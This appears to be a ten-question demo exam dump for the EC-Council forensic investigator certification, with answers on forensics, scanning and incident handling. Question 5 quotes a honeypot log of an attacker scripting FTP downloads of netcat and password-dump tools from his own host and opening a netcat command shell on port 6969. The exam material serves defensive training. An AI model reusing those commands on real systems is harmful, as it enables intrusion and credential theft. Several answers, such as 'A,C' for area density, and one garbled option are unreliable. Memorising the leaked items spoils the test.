ECCouncil

Exam EC1-349

ECCouncil Computer Hacking Forensic Investigator

Verson: Demo

[Total Questions: 10]

Topic break down

Topic	No. of Questions
Topic 1: Volume A	3
Topic 2: Volume B	7

Topic 1, Volume A

Question No : 1 - (Topic 1)

At what layer does a cross site scripting attack occur on?

A. Presentation
B. Application
C. Session
D. Data Link

Answer: B

Question No : 2 - (Topic 1)

What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired?

A. Every byte of the file(s) is given an MD5 hash to match against a master file
B. Every byte of the file(s) is verified using 32-bit CRC
C. Every byte of the file(s) is copied to three different hard drives
D. Every byte of the file(s) is encrypted using three different methods

Answer: B

Question No : 3 - (Topic 1)

When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time?

A. On the individual computer ARP cacheOn the individual computer? ARP cache
B. In the Web Server log files
C. In the DHCP Server log files
D. There is no way to determine the specific IP address

Answer: C

Topic 2, Volume B

Question No : 4 - (Topic 2)

Michael works for Kimball Construction Company as senior security analyst. As part of yearly security audit, Michael scans his network for vulnerabilities. Using Nmap, Michael conducts XMAS scan and most of the ports scanned do not give a response. In what state are these ports?

A. Filtered
B. Closed
C. Open
D. Stealth

Answer: C

Question No : 5 - (Topic 2)

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k
B. There are two attackers on the system – johna2k and haxedj00
C. The attack is a remote exploit and the hacker downloads three files
D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Answer: C

Explanation: Explanation: The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

Question No : 6 - (Topic 2)

Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies? What type of Penetration Testing is Larry planning to carry out?

A. Router Penetration Testing
B. DoS Penetration Testing
C. Internal Penetration Testing
D. Firewall Penetration Testing

Answer: B

Question No : 7 - (Topic 2)

In handling computer-related incidents, which IT role should be responsible for recovery, containment, and prevention to constituents?

A. Security Administrator
B. Network Administrator
C. Director of Information Technology
D. Director of Administration

Answer: B

Question No : 8 - (Topic 2)

Area density refers to:

A. the amount of data per disk
B. the amount of data per partition
C. the amount of data per square inch
D. the amount of data per platter

Answer: A,C

Question No : 9 - (Topic 2)

You are employed directly by an attorney to help investigate an alleged sexual harassment case at a large pharmaceutical manufacturer. While at the corporate office of the company, the CEOdemands to know the status of the investigation. What prevents you from discussing the case with the CEO?

A. The attorney-work-product rule
B. Good manners
C. Trade secrets
D. ISO 17799

Answer: A

Question No : 10 - (Topic 2)

On Linux/Unix based Web servers, what privilege should the daemon service be run under?

A. Something other than root
B. Root
C. Guest
D. You cannot determine what privilege runs the daemon service

Answer: A